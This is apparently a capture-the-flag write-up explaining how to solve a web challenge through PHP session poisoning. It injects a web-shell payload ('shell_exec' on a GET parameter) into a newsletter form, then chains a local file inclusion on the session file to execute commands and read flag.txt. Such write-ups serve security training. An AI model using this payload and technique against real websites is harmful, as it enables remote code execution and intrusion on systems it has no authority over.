Big Software Foundation
Big Software Foundation or BSF, one of the largest software development companies finally launched their website after a long break. They asked us to assess their security, can you help us find a flaw in their system or is it impenetrable?
Solution
There are few ways how this challenge can be solved. One of these ways it by PHP session poisoning. For this you need to locate "Sign For Newsletter" form and send payload instead of email. Payload should look like this:
<?=shell_exec($_GET[cmd]);?>
Now, since we obviously have local file inclusion vulnerability in ?page= parameter we can access our session at /tmp/sess_<PHPSESSID>. Accessing it through ?page=/tmp/sess_<PHPSESSID>&cmd=cat+flag.txt would lead to RCE reading flag.txt
NOTE: Doing ?page=flag.txt won't work because code prohibits direct access to this file.
